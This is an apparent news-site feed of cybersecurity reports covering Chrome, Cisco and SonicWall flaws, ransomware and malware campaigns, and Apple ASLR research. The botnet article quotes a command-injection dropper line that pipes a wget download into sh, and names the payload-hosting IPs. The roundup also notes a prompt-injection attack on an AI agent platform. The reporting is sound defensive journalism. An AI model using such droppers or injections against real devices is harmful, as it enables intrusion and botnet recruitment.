1010.cx

  • Cybersecurity Newsletter Weekly – Chrome 0-Day, 22.2 Tbps DDOS Attack, Kali Linux Release, Cisco IOS 0-Day and More

    ·

    , , , ,

    This week in cybersecurity was marked by a relentless pace of critical disclosures and unprecedented attack volumes, underscoring the escalating challenges facing defenders.

    At the forefront was Google’s emergency patch for yet another actively exploited zero-day vulnerability in its Chrome browser.

    The high-severity flaw required an urgent response, highlighting the persistent threat posed by sophisticated actors targeting the world’s most popular web browser and reminding users of the critical importance of enabling automatic updates.

    The theme of escalation continued with reports of a record-shattering Distributed Denial-of-Service (DDoS) attack that peaked at an astonishing 22.2 Terabits per second (Tbps).

    This massive assault demonstrates a terrifying new level of firepower available to threat actors, raising serious questions about the resilience of internet infrastructure and the defensive capabilities of even the most well-prepared organizations.

    The attack serves as a stark warning that the scale of cyber threats is growing exponentially, pushing the boundaries of conventional mitigation strategies.

    Adding to the pressure on network administrators, Cisco disclosed a new zero-day vulnerability in its IOS XE software that is being actively exploited in the wild.

    Affecting a wide range of the company’s enterprise routers and switches, the flaw could allow unauthenticated attackers to gain control of critical network devices, creating a significant risk for organizations worldwide.

    Amidst the wave of vulnerabilities, the security community received a welcome update with the release of Kali Linux 2025.3. The latest version of the popular penetration testing and digital forensics distribution introduces new tools, updated packages, and kernel enhancements.

    This release equips ethical hackers and security researchers with the latest capabilities to identify and address the very vulnerabilities making headlines. In this edition, we provide an in-depth analysis of these events and cover other major developments to keep you informed.

    Vulnerabilities

    Chrome Zero-Day Flaw Actively Exploited

    A critical type confusion zero-day vulnerability in Google Chrome’s V8 JavaScript engine, identified as CVE-2025-10585, is being actively exploited by threat actors. The high-severity flaw, which has a CVSS score of 8.8, can allow for remote code execution. Attackers are reportedly using it in campaigns targeting cryptocurrency wallets and for espionage operations. The vulnerability works by manipulating the TurboFan JIT compiler. Google has released a patch, and users are urged to update to Chrome version 140.0.7339.185 or later. Read more

    Critical RCE Flaw in SolarWinds Web Help Desk

    SolarWinds has issued an urgent patch for a critical vulnerability (CVE-2025-26399) in its Web Help Desk software. The flaw, which has a CVSS score of 9.8, allows an unauthenticated attacker to achieve remote code execution (RCE). The vulnerability is due to the deserialization of untrusted data and is notably a patch bypass for two previously disclosed vulnerabilities. All users of version 12.8.7 are advised to apply the new hotfix immediately. Read more

    Google Patches More High-Severity Chrome Flaws

    Google has released another security update for Chrome, this time addressing three high-severity vulnerabilities that could lead to sensitive information leaks and system instability. The patched flaws (CVE-2025-10890, CVE-2025-10891, and CVE-2025-10892) are found in the V8 JavaScript engine. CVE-2025-10890 is a side-channel information leakage vulnerability, while the others are integer overflow issues. Users should update to Chrome version 140.0.7339.207/.208 to be protected. Read more

    Salesforce CLI Installer Vulnerability

    A high-severity flaw (CVE-2025-9844) has been discovered in the Salesforce CLI installer that could allow an attacker to gain SYSTEM-level access on Windows machines. The vulnerability, rated 8.8 on the CVSS scale, stems from the installer improperly handling executable file paths, which can be exploited through a binary planting technique. Versions prior to 2.106.6 are affected, and users are advised to update from official Salesforce channels. Read more

    OnePlus Phones Leaking SMS Data

    A significant vulnerability (CVE-2025-10184) in OnePlus’s OxygenOS (versions 12 through 15) allows any app to read SMS and MMS messages without user permission. The flaw, with a severity score of 8.2, could expose sensitive information such as two-factor authentication codes. OnePlus has acknowledged the issue and plans to roll out a fix via a software update starting in mid-October. Read more

    Cisco Patches Actively Exploited IOS Zero-Day

    Cisco has addressed a high-severity zero-day vulnerability (CVE-2025-20352) in its IOS and IOS XE software that is being actively exploited in the wild. The flaw resides in the Simple Network Management Protocol (SNMP) subsystem and could allow a remote authenticated attacker to cause a denial-of-service (DoS) condition or execute code with root privileges. Read more

    Old Hikvision Camera Backdoor Re-Exploited

    A critical, eight-year-old backdoor vulnerability (CVE-2017-7921) in Hikvision security cameras is being actively exploited again. The flaw, which has a CVSS score of 10.0, allows attackers to bypass authentication and access sensitive information, including video feeds and user credentials, by sending a crafted URL. The resurgence highlights the risk of unpatched legacy devices. Read more

    Salesforce AI Agent Flaw Allowed Data Theft

    A critical vulnerability chain named “ForcedLeak” was discovered in Salesforce’s Agentforce AI platform, which could have allowed attackers to steal sensitive CRM data. The flaw (CVSS score 9.4) utilized an indirect prompt injection attack, where malicious instructions were embedded in Web-to-Lead forms. Salesforce has since patched the vulnerability. Read more

    GitLab Addresses High-Severity Vulnerabilities

    GitLab has released patches for several high-severity vulnerabilities. Users are encouraged to update their installations to the latest version to protect against potential exploits. Read more

    Cyber Attacks

    SonicWall Urges Immediate Update to Counter ‘OVERSTEP’ Rootkit

    SonicWall has released an urgent firmware update (version 10.2.2.2-92sv) for its Secure Mobile Access (SMA) 100 series appliances to detect and remove a known rootkit malware called OVERSTEP. The advisory, published on September 22, 2025, follows a report from Google’s Threat Intelligence Group (GTIG) detailing a campaign by the threat actor UNC6148 on end-of-life devices. The malware allows attackers to maintain persistent access, establish a reverse shell, and steal sensitive data like credentials and OTP seeds. Administrators are strongly advised to apply the patch immediately, as there is no workaround. Read More

    Zloader Malware Evolves into Ransomware Gateway for Corporate Networks

    The Zloader trojan, a malware family based on the Zeus banking trojan, has been repurposed as a primary tool for initial access brokers to infiltrate corporate networks and deploy ransomware. After a nearly two-year break, Zloader has returned with significant upgrades, including advanced obfuscation and anti-analysis features. Security researchers have noted that recent versions (2.11.6.0 and 2.13.7.0) have shifted from widespread campaigns to highly targeted attacks, focusing on high-value organizations for maximum impact. Read More

    Malicious npm Package “yahoofinance-api” Steals Browser Data

    A malicious package named “yahoofinance-api” was discovered on the npm registry, designed to steal passwords and cookies from web browsers. The package, which impersonated a legitimate library for fetching financial data, contained obfuscated code that executed a PowerShell script to download a second-stage payload. This payload would then extract sensitive information from browsers like Chrome, Edge, and Brave. The malware was active for over a month before being removed, highlighting the ongoing risks associated with open-source software supply chains. Read More

    Windows 11 Vulnerability Exposes Cached Passwords in Plaintext

    A security vulnerability has been identified in Windows 11 that could allow attackers with local network access to retrieve cached domain user passwords in plaintext. The flaw resides in how Windows 11 handles password caching for network authentication, potentially exposing credentials if they are not adequately protected. This issue poses a significant risk in enterprise environments where domain-joined devices are common, as a successful exploit could lead to lateral movement and privilege escalation. Read More

    ShadowV2 Botnet Exploits Misconfigured Docker APIs on AWS

    A new botnet, named ShadowV2, is actively exploiting misconfigured Docker Engine APIs to deploy cryptocurrency miners and other malicious payloads on Amazon Web Services (AWS) infrastructure. The botnet scans for publicly exposed Docker API endpoints and uses them to create new containers running its malware. ShadowV2 is designed for stealth and persistence, using various techniques to hide its presence and ensure its mining operations continue uninterrupted. This campaign underscores the importance of securing cloud-based container environments. Read More

    LockBit 5.0 Ransomware Variant Emerges with New Features

    A new version of the notorious LockBit ransomware, dubbed LockBit 5.0, has been spotted in the wild with updated capabilities. This iteration includes enhanced anti-analysis techniques, faster encryption algorithms, and new methods for evading security software. The LockBit group continues to be one of the most prolific ransomware-as-a-service (RaaS) operations, and this new variant demonstrates their commitment to evolving their tools to bypass modern defenses and maximize their impact on targeted organizations. Read More

    Cisco Patches Critical Zero-Day RCE Flaw in ASA Software

    Cisco has released security updates to address a critical zero-day remote code execution (RCE) vulnerability in its Adaptive Security Appliance (ASA) software. The flaw, which was reportedly being exploited in the wild, could allow an unauthenticated attacker to execute arbitrary code on an affected device, potentially leading to a full system compromise. Given the critical role that ASA devices play in network security, administrators are urged to apply the patches immediately to protect their infrastructure from this significant threat. Read More

    Security Tools

    New Tool “Inboxfuscation” Bypasses Microsoft Exchange Defenses

    A new open-source tool named Inboxfuscation can create malicious inbox rules in Microsoft Exchange that are difficult for security tools to detect. Developed by security firm Permiso, the tool uses Unicode-based obfuscation to hide keywords in rules, allowing attackers to maintain persistence and exfiltrate data from compromised mailboxes. This technique can substitute standard characters with visually identical Unicode variants, making the rules appear harmless while functionally matching sensitive terms. While these specific obfuscation methods have not yet been observed in active attacks, their development exposes a critical blind spot in email security postures. Read more here

    Critical Vulnerability in Libraesva Email Security Gateway Actively Exploited

    A critical command injection vulnerability, tracked as CVE-2025-59689, has been discovered in Libraesva’s Email Security Gateway (ESG). The flaw allows attackers to execute arbitrary commands by sending an email with a specially crafted compressed attachment. According to reports, this vulnerability has already been exploited in a targeted attack attributed to a state-sponsored actor. The vulnerability affects all Libraesva ESG versions from 4.5 onwards. Libraesva responded by deploying emergency patches, which were automatically applied to all cloud and on-premise 5.x installations. Read more here

    Kali Linux 2025.3 Released with 10 New Tools and Wi-Fi Upgrades

    The third Kali Linux release of 2025 is now available, featuring ten new tools, enhancements for Wi-Fi hacking, and other updates. Kali Linux 2025.3 introduces several new tools, including Caido, a web security auditing toolkit; Gemini CLI, an AI agent for the terminal; and krbrelayx, a toolkit for Kerberos relaying attacks. This version also adds support for Nexmon, enabling monitor mode and frame injection for the Raspberry Pi’s built-in Wi-Fi, and includes updated configurations for HashiCorp’s Packer and Vagrant tools. Read more here

    Attackers Bypass EDR Using In-Memory PE Loaders

    A stealthy technique is being used by threat actors to bypass Endpoint Detection and Response (EDR) solutions by loading malicious code directly into a system’s memory. This method, known as an in-memory Portable Executable (PE) loader, downloads a malicious file (such as a Remote Access Trojan or info-stealer) and executes it within the memory of a legitimate process. Because the malicious file is never written to the disk, it evades EDR products that primarily monitor for file-based threats and suspicious process creation events. Read more here

    “SetupHijack” Tool Exploits Windows Installers for Privilege Escalation

    Security researchers have developed a proof-of-concept tool called SetupHijack that abuses race conditions in Windows installers and updaters to gain elevated privileges. The tool monitors world-writable directories like %TEMP% and %APPDATA% for new installer files. When a privileged setup process drops a temporary file (e.g., an MSI or EXE), SetupHijack instantly replaces it with a malicious payload before the installer can run it. This allows the attacker’s payload to be executed with SYSTEM or Administrator rights. Read more here

    ZendTo File-Sharing Tool Vulnerable to Path Traversal

    A critical path traversal vulnerability, identified as CVE-2025-34508, has been found in the ZendTo file-sharing application, affecting versions 6.15-7 and earlier. The flaw allows an authenticated user to craft a malicious request to access, read, or modify sensitive files on the server, including logs, user data, and application configurations. The vulnerability occurs because the application fails to properly sanitize user-supplied input when handling file uploads. ZendTo has released a patch in version 6.15-8 to address the issue. Read more here

    Threats

    Kawa4096 Ransomware Targets Multinational Corporations

    A new ransomware group, Kawa4096, is targeting multinational organizations in the finance, education, and service sectors, with a particular focus on entities in Japan and the United States. First detected in June 2025, the group uses a double extortion strategy, combining data encryption with data theft. They operate a dedicated Tor-based platform to disclose victim information, adding pressure to meet ransom demands. The ransomware employs advanced partial encryption techniques, using the Salsa20 stream cipher to encrypt 25% of 64KB chunks of files, which significantly speeds up the process while rendering the files unusable. To facilitate its attack, the malware terminates critical processes like database servers and office applications. Read More

    Malware Hidden in Steam Game Patch Steals User Data

    A malicious patch for the 2D platformer game “BlockBlasters” on Steam has been used to distribute information-stealing malware. The campaign, which started on August 30, 2025, targets sensitive data such as cryptocurrency wallet information, browser credentials, and Steam login details. The attack uses a three-stage infection process that begins with a batch file (game2.bat) to collect system information and Steam credentials. It then deploys loader scripts and two main payloads: a Python-based backdoor and the StealC information stealer. The malware adds its directory to Microsoft Defender’s exclusion list to evade detection. Read More

    Hackers Exploit GitHub Notifications for Malware Distribution

    Threat actors are abusing GitHub’s notification system to distribute malware by mentioning users in pull requests or comments on repositories they control. This tactic lends an air of legitimacy to the notifications, as they originate from GitHub’s official domain (github.com). The notifications often contain links to malicious sites, luring victims into downloading malware. This method bypasses traditional email security filters that might otherwise block direct malicious links. Security researchers have noted that this technique has been used in various campaigns, including those targeting developers and other tech-savvy individuals with fake job offers or project collaborations. Read More

    Fake Job Lures Used to Target Job Seekers with Malware

    Cybercriminals are targeting job seekers with sophisticated fake job offers to deploy information-stealing malware. The threat actors impersonate recruiters and companies, using platforms like LinkedIn to initiate contact. The attack often involves a multi-stage process where victims are led through a fake recruitment process, eventually being asked to download a file, such as a “job description” or a “questionnaire,” which is actually malware. This malware is designed to steal sensitive personal and financial information from the victim’s computer. The campaigns are often highly targeted, with attackers crafting convincing lures based on a victim’s professional profile. Read More

    SVG Files Weaponized to Deliver Malware

    Hackers are increasingly using Scalable Vector Graphics (SVG) files to deliver malware, bypassing traditional security measures that often focus on other file types. These SVG files can contain embedded malicious JavaScript code. When a user opens the SVG file in a web browser, the script executes, leading to malware downloads or phishing attacks. This technique is effective because SVG files are often perceived as harmless images. Threat actors have been observed using this method to distribute ransomware, spyware, and banking trojans. The attacks often begin with a phishing email containing a link to the malicious SVG file. Read More

    First Malicious MCP Server Discovered in the Wild

    Researchers have identified the first-ever malicious Mission-Critical Push-to-Talk (MCPTT) server, indicating a new threat vector for critical communication systems. MCPTT is a standard for broadband push-to-talk communication used by public safety and enterprise organizations. The malicious server was designed to impersonate a legitimate MCPTT server, potentially allowing attackers to eavesdrop on sensitive communications, inject false information, or cause service disruptions. This discovery highlights the need for stronger security measures and authentication protocols within critical communication infrastructures to prevent such attacks. Read More

    Microsoft Teams Installers Abused to Distribute Malware

    Threat actors are weaponizing Microsoft Teams installers to deliver malware to unsuspecting users. In these attacks, a legitimate Teams installer is bundled with a malicious payload. When the user runs the installer, it installs Microsoft Teams as expected, but it also silently executes the malware in the background. This technique helps the malware appear legitimate and bypasses user suspicion. The payloads observed in these campaigns have included various types of malware, such as remote access trojans (RATs) and information stealers, giving attackers control over the compromised system and access to sensitive data. Read More

    Data Breaches

    Digital Charging Solutions GmbH Data Breach Exposes Customer Data

    Digital Charging Solutions GmbH (DCS), a provider of charging services for electric vehicles, has confirmed a data breach that exposed some customer information. The incident occurred when a third-party service provider accessed customer records without proper authorization.

    The exposed data includes names and email addresses. However, DCS confirmed that no complete payment data or financial records were compromised, as this information is protected by tokenization and encryption. Read more

    Jaguar Land Rover Cyberattack Delays Factory Reopening

    Jaguar Land Rover (JLR) has extended the production halt at its UK factories until Wednesday, October 1, 2025, as it recovers from a major cyber-attack that took place earlier in the month. The company stated the extension is necessary to create a detailed timeline for a secure and phased restart of its manufacturing operations.

    JLR is collaborating with external cybersecurity experts, the UK’s National Cyber Security Center (NCSC), and law enforcement to investigate the breach and strengthen its systems. While production is paused, customer-facing operations, including sales and service, remain open. The company has thanked its customers, suppliers, and employees for their patience during the disruption. Read more

    Volvo Group Discloses Data Breach

    Volvo Group has also reported a data breach incident. At this time, details are limited while investigations are underway to assess the full impact and determine the necessary mitigation efforts. Read more

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Cybersecurity Newsletter Weekly – Chrome 0-Day, 22.2 Tbps DDOS Attack, Kali Linux Release, Cisco IOS 0-Day and More appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Google Project Zero Details ASLR Bypass on Apple Devices Using NSDictionary Serialization

    ·

    , , ,

    A Google Project Zero researcher has detailed a novel technique for remotely leaking memory addresses on Apple’s macOS and iOS.

    This method can bypass a key security feature, Address Space Layout Randomization (ASLR), without relying on traditional memory corruption vulnerabilities or timing-based side-channel attacks.

    The research originated from a 2024 discussion within the Project Zero team about finding new ways to achieve remote ASLR leaks on Apple devices.

    The researcher discovered a trick applicable to services that deserialize attacker-provided data, re-serialize the resulting objects, and then send the data back.

    While no specific, real-world vulnerable attack surface was identified, a proof-of-concept was created using an artificial test case involving Apple’s NSKeyedArchiver serialization framework on macOS.

    The researcher responsibly disclosed the findings to Apple, which addressed the underlying issue in its security updates on March 31, 2025.

    The Attack Mechanism

    The technique hinges on the predictable behavior of data serialization and the internal workings of Apple’s NSDictionary objects, which are essentially hash tables.

    The attack’s goal is to leak the memory address of the NSNull singleton, a unique, system-wide object whose memory address is used as its hash value.

    Leaking this hash value is equivalent to leaking the object’s address, which would undermine ASLR for the shared cache where it resides.

    The attack unfolds in several steps:

    • An attacker first crafts a serialized NSDictionary object. This dictionary contains a mix of NSNumber keys, whose hash values can be controlled, and a single NSNull key.
    • The NSNumber keys are carefully chosen to occupy specific “buckets” within the hash table, creating a known pattern of filled and empty slots.
    • The victim application deserializes this object, creating the dictionary in memory. When the application re-serializes the object to send it back, it iterates through the hash table buckets in a predictable order.
    • The position of the NSNull key in the returned data reveals which bucket it was placed in. This leaks partial information about its address, specifically the result of the address modulo the table’s size.

    To reconstruct the full 64-bit address, the technique employs the Chinese Remainder Theorem. By sending an array of dictionaries of varying sizes (each with a different prime number of buckets), an attacker can gather multiple pieces of information about the address.

    Combining these results makes it possible to calculate the complete memory address of the NSNull singleton, effectively breaking ASLR for that memory region.

    This research demonstrates that using raw object pointers as hash keys in data structures can lead to direct information leaks if the serialized output is exposed.

    Unlike classic side-channel attacks that measure timing differences, this method relies on the deterministic output of the serialization process.

    The researcher suggests the most robust mitigation is to avoid using object addresses as lookup keys or to hash them with a keyed hash function to prevent the address from being exposed.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Google Project Zero Details ASLR Bypass on Apple Devices Using NSDictionary Serialization appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • China-Linked PlugX and Bookworm Malware Attacks Target Asian Telecom and ASEAN Networks

    ·

    Telecommunications and manufacturing sectors in Central and South Asian countries have emerged as the target of an ongoing campaign distributing a new variant of a known malware called PlugX (aka Korplug or SOGU). “The new variant’s features overlap with both the RainyDay and Turian backdoors, including abuse of the same legitimate applications for DLL side-loading, the

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Hackers use Weaponized Microsoft Teams Installer to Compromise Systems With Oyster Malware

    ·

    , , , ,

    A sophisticated malvertising campaign is using fake Microsoft Teams installers to compromise corporate systems, leveraging poisoned search engine results and abused code-signing certificates to deliver the Oyster backdoor malware.

    The attack was neutralized by Microsoft Defender’s Attack Surface Reduction (ASR) rules, which blocked the malware from establishing contact with its command-and-control server.

    The multi-stage attack highlights an increasing trend of threat actors using legitimate services to appear trustworthy and evade traditional security measures.

    By using short-lived, valid code-signing certificates, the attackers were able to bypass initial signature-based detection and trick systems into trusting the malicious software.

    Oyster Malware Via Microsoft Teams Installer

    Conscia’s forensic investigation revealed a rapid and automated attack sequence that began with a simple web search.

    On September 25, 2025, an employee’s search on Bing for Microsoft Teams led to a malicious redirect. Within just 11 seconds of the initial search, the user was funneled from bing.com through a redirect domain (team.frywow.com) to a malicious site, teams-install.icu.

    This rapid redirection points to an automated process, likely driven by a malvertising campaign or a poisoned search engine result that placed the malicious link high in the search rankings.

    The domain teams-install.icu was designed to spoof a legitimate Microsoft download page and was hosted on Cloudflare to further mask its malicious intent. Once the user landed on the page, a file named MSTeamsSetup.exe was downloaded.

    Roughly an hour later, the file was executed. Although it appeared to be a legitimate installer, it was in fact the Oyster malware. The attack was only stopped when Microsoft Defender’s ASR rules detected and blocked the malware’s attempt to connect to its C2 server at nickbush24.com.

    The core of this campaign’s sophistication lies in its abuse of code-signing certificates. The malicious executable was signed by a seemingly legitimate entity named “KUTTANADAN CREATIONS INC.” using a certificate that was valid for only two days, from September 24 to 26, 2025.

    This emerging tactic allows threat actors to:

    • Bypass Security: Signed files are often trusted by default, evading antivirus and other signature-based checks.
    • Minimize Detection: The short lifespan of the certificate reduces the window for security vendors to identify and revoke it.
    • Automate Attacks: Attackers can automate the process of obtaining and signing malware with fresh certificates for different campaigns.

    Conscia research uncovered other similar short-lived certificates used by signers like “Shanxi Yanghua HOME Furnishings Ltd,” suggesting a larger, well-orchestrated operation.

    This incident was neutralized before any data could be exfiltrated or further payloads like ransomware could be deployed. The successful prevention demonstrates that traditional security measures are no longer sufficient. Trust in digital certificates cannot be absolute, and organizations must deploy advanced endpoint protection.

    Had the ASR rules not been in place, the Oyster backdoor (also known as Broomstick or CleanUpLoader) would have established persistent access to the compromised system. This would have enabled the attackers to conduct data theft, deploy additional malware, and move laterally across the network.

    Key lessons from this attack are clear: attackers are evolving their use of legitimate system tools (“living-off-the-land“), certificate trust is being actively weaponized, and the speed of automated attacks requires robust, behavior-based security controls like ASR to prevent a compromise that can occur in seconds.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Hackers use Weaponized Microsoft Teams Installer to Compromise Systems With Oyster Malware appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Apache Airflow Vulnerability Exposes Sensitive Details to Read-Only Users

    ·

    , ,

    A critical security flaw has emerged in Apache Airflow 3.0.3, exposing sensitive connection information to users with only read permissions.

    The vulnerability, tracked as CVE-2025-54831 and classified as “important” severity, fundamentally undermines the platform’s intended security model for handling sensitive data within workflow connections.

    Apache Airflow version 3.0 introduced significant changes to how sensitive information in connections is managed, implementing a “write-only” model designed to restrict access to sensitive connection fields exclusively to Connection Editing Users.

    This security enhancement was intended to prevent unauthorized access to critical authentication details, database credentials, and API keys stored within Airflow connections.

    However, the implementation in version 3.0.3 contained a critical flaw that reversed these security improvements.

    The vulnerability allows users with standard READ permissions to access sensitive connection information through both the Airflow API and web user interface.

    This exposure occurs regardless of the AIRFLOW__CORE__HIDE_SENSITIVE_VAR_CONN_FIELDS configuration setting, which is specifically designed to mask sensitive connection details from unauthorized users.

    The breach effectively renders the security configuration ineffective, creating a significant risk for organizations relying on Airflow’s access controls.

    Apache security analysts identified the vulnerability after observing unexpected behavior in connection handling mechanisms.

    The flaw specifically affects Apache Airflow version 3.0.3, while earlier Airflow 2.x versions remain unaffected since they follow different connection handling protocols where exposing sensitive information to connection editors was the documented behavior.

    Connection Access Control Mechanism

    The vulnerability stems from improper implementation of the connection access control system introduced in Airflow 3.0.

    When users with READ permissions query connection details via the /api/v1/connections/{connection_id} endpoint or access the connections interface through the web UI, the system incorrectly returns sensitive fields including passwords, tokens, and connection strings that should remain hidden.

    {
  "connection_id": "postgres_default",
  "conn_type": "postgres",
  "host": "localhost",
  "login": "airflow",
  "password": "exposed_sensitive_data",
  "schema": "airflow",
  "port": 5432
}

    Organizations using Apache Airflow 3.0.3 should immediately upgrade to version 3.0.4 or later to address this security vulnerability and restore proper access controls for sensitive connection information.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post Apache Airflow Vulnerability Exposes Sensitive Details to Read-Only Users appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Malware Operators Collaborate With Covert North Korean IT Workers to Attack Corporate Organizations

    ·

    , ,

    A sophisticated cybercriminal alliance between malware operators and covert North Korean IT workers has emerged as a significant threat to corporate organizations worldwide.

    This hybrid operation, known as DeceptiveDevelopment, represents a dangerous convergence of traditional cybercrime and state-sponsored activities, targeting software developers and cryptocurrency professionals through elaborate social engineering campaigns.

    The DeceptiveDevelopment group, active since at least 2023, operates through a symbiotic relationship with North Korean IT workers in what researchers have termed the WageMole activity cluster.

    This collaboration creates a dual-layered threat where malware operators pose as legitimate recruiters to compromise job seekers’ systems, while North Korean IT workers subsequently use stolen credentials and identities to secure employment positions at overseas companies.

    The campaign primarily targets developers working on cryptocurrency and Web3 projects across Windows, Linux, and macOS platforms.

    The operation employs sophisticated social engineering techniques, including the recently observed ClickFix method, where victims are directed to fake job interview websites.

    These sites present elaborate application forms designed to build trust and commitment from potential victims.

    In the final step, victims encounter a fabricated technical issue requiring them to execute terminal commands that appear to fix camera access problems but instead download and execute malware payloads.

    WeliveSecurity analysts identified the group’s primary toolset as consisting of multiplatform malware families including BeaverTail, InvisibleFerret, WeaselStore, and the complex TsunamiKit framework.

    The malware demonstrates varying levels of technical sophistication, compensating for technical limitations through operational scale and creative social manipulation.

    ClickFix Social Engineering Mechanism

    The ClickFix technique represents a particularly insidious evolution in the group’s social engineering arsenal. This method begins with directing victims to professionally designed fake job interview platforms that closely mimic legitimate recruitment processes.

    The websites contain detailed application forms with extensive questions about the applicant’s background, skills, and career objectives, creating a sense of legitimacy and investment.

    The psychological manipulation intensifies as victims spend considerable time completing the lengthy application, fostering a commitment bias that makes them more likely to comply with subsequent requests.

    The final application step requests video recording capabilities, triggering a carefully orchestrated sequence of events. When the system generates a fake camera access error, victims are presented with operating system-specific “troubleshooting” instructions.

    These instructions direct users to execute terminal commands under the guise of resolving technical issues.

    The commands vary based on the victim’s operating system but consistently result in downloading and executing malicious payloads.

    This technique proves particularly effective because it leverages the victim’s desire to complete what appears to be a legitimate professional opportunity while exploiting their trust in technical support procedures.

    Execution chain of WeaselStore (Source – Welivesecurity)

    The execution chain demonstrates sophisticated understanding of victim psychology, combining professional presentation with technical deception to bypass security awareness training that typically focuses on obvious phishing attempts rather than elaborate, context-aware social engineering scenarios.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post Malware Operators Collaborate With Covert North Korean IT Workers to Attack Corporate Organizations appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • New Botnet Loader-as-a-Service Exploiting Routers and IoT Devices to Deploy Mirai Payloads

    ·

    , ,

    A sophisticated botnet operation has emerged, employing a Loader-as-a-Service model to systematically weaponize internet-connected devices across the globe.

    The campaign exploits SOHO routers, IoT devices, and enterprise applications through command injection vulnerabilities in web interfaces, demonstrating an alarming evolution in cybercriminal tactics.

    The malicious infrastructure operates by targeting unsanitized POST parameters in network management fields including NTP, syslog, and hostname configurations.

    Attackers inject shell commands into these vulnerable input fields, enabling remote execution through minimal one-line droppers such as wget -qO- http://IP/rondo.*.sh | sh.

    This approach maximizes success rates across diverse device architectures while maintaining operational stealth.

    The botnet systematically progresses through multiple attack phases, beginning with automated authentication probes using default credentials like admin:admin combinations.

    Upon successful access, the operation deploys fetch-and-execute chains that download RondoDoX, Mirai, and Morte payloads from distributed command infrastructure spanning multiple IP addresses including 74.194.191.52, 83.252.42.112, and 196.251.73.24.

    CloudSEK analysts identified this campaign through exposed command and control logs spanning six months of operations.

    The security firm’s TRIAD platform discovered logger panels containing detailed attack vectors and infrastructure deployment patterns, providing unprecedented visibility into the botnet’s operational methodology.

    The malware demonstrates remarkable adaptability through multi-architecture payload support, utilizing BusyBox utilities for cross-platform compatibility.

    The operation targets Oracle WebLogic servers, embedded Linux systems, and specific router administration interfaces including wlwps.htm and wan_dyna.html pages.

    Additionally, the campaign exploits known CVEs including CVE-2019-17574 (WordPress Popup Maker), CVE-2019-16759 (vBulletin pre-auth RCE), and CVE-2012-1823 (PHP-CGI query string handling).

    Command Injection Attack Mechanism

    The botnet’s primary infiltration method centers on exploiting web GUI fields through sophisticated command injection techniques.

    The operation specifically targets network configuration parameters where administrators typically input server addresses and system settings.

    When devices process these malformed inputs without proper sanitization, the injected commands execute with system privileges.

    The attack chain utilizes multiple fallback protocols to ensure payload delivery success. If HTTP-based wget commands fail, the system automatically attempts TFTP and FTP transfers using commands like ftpget and tftp.

    Exploitation of Old CVEs (Source – CloudSEK)

    This redundancy, combined with hosting identical payloads across numerous IP addresses, creates a resilient distribution network that survives individual server takedowns.

    Post-compromise, the botnet conducts comprehensive device fingerprinting through ReplyDeviceInfo modules, collecting MAC addresses, hostnames, firmware versions, and available services.

    This reconnaissance determines which architecture-specific binaries to deploy and whether devices should be retained for cryptocurrency mining, DDoS participation, or sold as access credentials to other threat actors.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post New Botnet Loader-as-a-Service Exploiting Routers and IoT Devices to Deploy Mirai Payloads appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Threat Actors Exploiting SonicWall Firewalls to Deploy Akira Ransomware Using Malicious Logins

    ·

    , , ,

    A new wave of cyberattacks targeting organizations using SonicWall firewalls has been actively deploying Akira ransomware since late July 2025.

    Security researchers at Arctic Wolf Labs detected a surge in this activity, which remains ongoing. Threat actors are gaining initial access through malicious SSL VPN logins, successfully bypassing multi-factor authentication (MFA), and then rapidly moving to encrypt data within hours.

    The campaign appears to be an opportunistic mass exploitation, affecting victims across various sectors. The initial point of entry is a malicious login to a SonicWall SSL VPN, often originating from Virtual Private Server (VPS) hosting providers instead of typical corporate networks.

    Alarmingly, attackers have successfully authenticated against accounts protected with SonicWall’s One-Time Password (OTP) MFA feature.

    SonicWall has linked these malicious logins to CVE-2024-40766, an improper access control vulnerability disclosed in 2024.

    The working theory is that threat actors harvested credentials from devices that were previously vulnerable and are now using them in this campaign, even if the devices have since been patched.

    This explains why fully patched devices have been compromised, a fact that initially led to speculation about a potential zero-day exploit.

    Once inside a network, the attackers operate with remarkable speed. The time from initial access to ransomware deployment, known as “dwell time,” is often measured in hours, with some intrusions taking as little as 55 minutes, Arctic Wolf said. This extremely short window for response makes early detection critical.

    Attack Sequence

    Attackers use compromised credentials to log into SonicWall SSL VPNs, bypassing OTP MFA. Within minutes of logging in, attackers begin internal network scanning for open ports like SMB (445), RPC (135), and SQL (1433). They use tools like Impacket, SoftPerfect Network Scanner, and Advanced IP Scanner for discovery and lateral movement.

    The threat actors create new administrator accounts, escalate privileges for existing accounts, and install remote management tools like AnyDesk, TeamViewer, and RustDesk to maintain access. They also establish persistence using SSH reverse tunnels and Cloudflare Tunnels.

    To operate undetected, attackers attempt to disable endpoint security products like Windows Defender and other EDR solutions. They use a “bring-your-own-vulnerable-driver” (BYOVD) technique to tamper with security software at the kernel level and delete Volume Shadow Copies to prevent system restoration.

